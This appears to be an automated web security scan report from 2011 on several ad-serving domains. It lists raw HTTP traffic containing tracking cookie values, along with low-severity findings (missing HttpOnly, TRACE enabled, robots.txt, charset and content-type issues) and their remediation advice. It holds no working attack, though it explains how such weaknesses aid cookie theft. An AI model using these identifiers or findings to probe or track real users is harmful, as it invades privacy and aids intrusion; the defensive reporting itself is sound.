GET /tase/ad?AdBoxType=15&Partner=285&url=HI_SpecificMediaTrafficAction_Q4_RT&inv=specificmedia&CustomQuery=&rnd=%3Cinsert_cache_buster%3E&esc=0&rcu=http://ads.specificmedia.com/click/v=5;m=2;l=5433;c=124220;b=741295;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;ts=20110212092924;dct= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://ads.specificmedia.com/serve/v=5;m=3;l=5433;c=124220;b=741295;ts=20110212092923;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295975819078_59965210_as2108_imp|285#1295975819078_59965210_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521165254_6011009_as2105_imp|285#1297521165254_6011009_as2105_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:32:45 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sat, 12 Feb 2011 14:32:44 GMT Content-Length: 14168
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /serve/v=5;m=2;l=5433;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189;kw=;ts=414684;smuid=uosDj9Liw_xRTA;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0 HTTP/1.1 Host: ads.specificmedia.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: smt=eJxjZWdmYGBgZGECksxcXIZGlqaWBsZGBkbIbI5GoCyLkamZBQBmCQWm; smu=5060.928757113086138685
Response
HTTP/1.1 200 OK Date: Sat, 12 Feb 2011 14:32:41 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=5008.928757113086138685; domain=.specificmedia.com; path=/; expires=Sun, 17-Jan-2016 14:32:41 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Content-Length: 376 Expires: Fri, 11 Feb 2011 14:32:41 GMT Cache-Control: no-cache,must-revalidate Pragma: no-cache Connection: close Content-Type: application/x-javascript
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tase/ad?AdBoxType=15&Partner=285&url=HI_SpecificMediaTrafficAction_Q4_RT&inv=specificmedia&CustomQuery=&rnd=%3Cinsert_cache_buster%3E&esc=0&rcu=http://ads.specificmedia.com/click/v=5;m=2;l=5433;c=124220;b=741295;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;ts=20110212092924;dct= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://ads.specificmedia.com/serve/v=5;m=3;l=5433;c=124220;b=741295;ts=20110212092923;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295975819078_59965210_as2108_imp|285#1295975819078_59965210_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521165254_6011009_as2105_imp|285#1297521165254_6011009_as2105_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:32:45 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sat, 12 Feb 2011 14:32:44 GMT Content-Length: 14168
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tase/redir/1297520964341_6003362_as2109_imp/vew?q=H4sIAAAAAAAAAFVPu27DMAz8FT4kkQLUmVOGroGhTyhgx2o6GoGdakjqT-g_9Esro43RDiTucMc78On186sMCViDY1Tx5MFe-lLTkSREr8EfNgAMvvsVgBySSjgAMTTInY1rScdyGufO6tAcrNQGWBSb7YeJOIjxwdQpO36wqFHC7gwhUqQ_zON-F0Ad7FoLRNHO7n15S88fp3Kf1sX66_YQCTkRCOitLv8_zIJIJJyngQE111tvQ0IriX103oNoQJQWe54TI0BGzm0zZXSZxOp6TkM_X-p7vdzmpU42jVtFKyHPEAJbnzg6-wb9_vPzYAEAAA==&act=vew&idx=[0]&com=swf&rnd=1297521039031 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://pcdn.tcgmsrv.net/tase/swf/toyota-inmarket/toyota_inmarket_728.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1297520964341_6003362_as2109_imp|285#1297520964341_6003362_as2109_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521297790_19655810_as2112_vew|285#1297520964341_6003362_as2109_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:34:57 GMT; Path=/tase ETag: W/"43-1259995862000" Last-Modified: Sat, 05 Dec 2009 06:51:02 GMT Content-Type: image/gif Content-Length: 43 Date: Sat, 12 Feb 2011 14:34:56 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?l=5433&sz=728x90&wr=j&t=j&u=&r=&rnd=688341 HTTP/1.1 Host: afe.specificclick.net Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: adp=7CUZ^0^8191; smdmp=7FEl:99061802^7FEk:99061802^7EjO:384072511^7EjI:99013532^7EjI:99013532^7EjB:99013532^7EjB:21010880^7EjB:384072511^7Eap:99021458^7Eap:99021458^7CcF:99004680^7CVs:99004680^7BUF:99061898^780z:1215201001^780z:201201001^780z:1012200938^780z:1011201009^77xf:99004015^77xe:99001525^77x6:99011769^75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; adf=7CUZ^0^0; ug=uosDj9Liw_xRTA
var sm_random=Math.ceil(1000000*Math.random());document.write("<SCRI"+"PT src='http://ads.specificmedia.com/serve/v=5;m=2;l=5433;cxt=99002797:2123845-99004740:2123845;kw=;ts="+sm_random+";smuid=uosDj9 ...[SNIP]...
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /serve/v=5;m=3;l=5433;c=124220;b=741295;ts=20110212092923;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189 HTTP/1.1 Host: ads.specificmedia.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: smt=eJxjZWdmYGBgZGECksxcXIZGlqaWBsZGBkbIbI5GoCyLkamZBQBmCQWm; smu=5008.928757113086138685
Response
HTTP/1.1 200 OK Date: Sat, 12 Feb 2011 14:29:24 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Content-Length: 884 Expires: Fri, 11 Feb 2011 14:29:24 GMT Cache-Control: no-cache,must-revalidate Pragma: no-cache Connection: close Content-Type: text/html
<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head><meta name="robots" content="noindex,nofollow"><title>Advert</title></head><body marginwidth="0" marginheight="0" topmargin="0 ...[SNIP]...
var sm_random=Math.ceil(1000000*Math.random());document.write("<SCRI"+"PT src='http://ads.specificmedia.com/serve/v=5;m=2;l=5433;cxt=99002797:2123845-99004740:2123845;kw=;ts="+sm_random+";smuid=uosDj9 ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/html
The response states that it contains HTML. However, it actually appears to contain script.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /?l=5433&sz=728x90&wr=j&t=j&u=&r=&rnd=688341 HTTP/1.1 Host: afe.specificclick.net Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: adp=7CUZ^0^8191; smdmp=7FEl:99061802^7FEk:99061802^7EjO:384072511^7EjI:99013532^7EjI:99013532^7EjB:99013532^7EjB:21010880^7EjB:384072511^7Eap:99021458^7Eap:99021458^7CcF:99004680^7CVs:99004680^7BUF:99061898^780z:1215201001^780z:201201001^780z:1012200938^780z:1011201009^77xf:99004015^77xe:99001525^77x6:99011769^75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; adf=7CUZ^0^0; ug=uosDj9Liw_xRTA
var sm_random=Math.ceil(1000000*Math.random());document.write("<SCRI"+"PT src='http://ads.specificmedia.com/serve/v=5;m=2;l=5433;cxt=99002797:2123845-99004740:2123845;kw=;ts="+sm_random+";smuid=uosDj9 ...[SNIP]...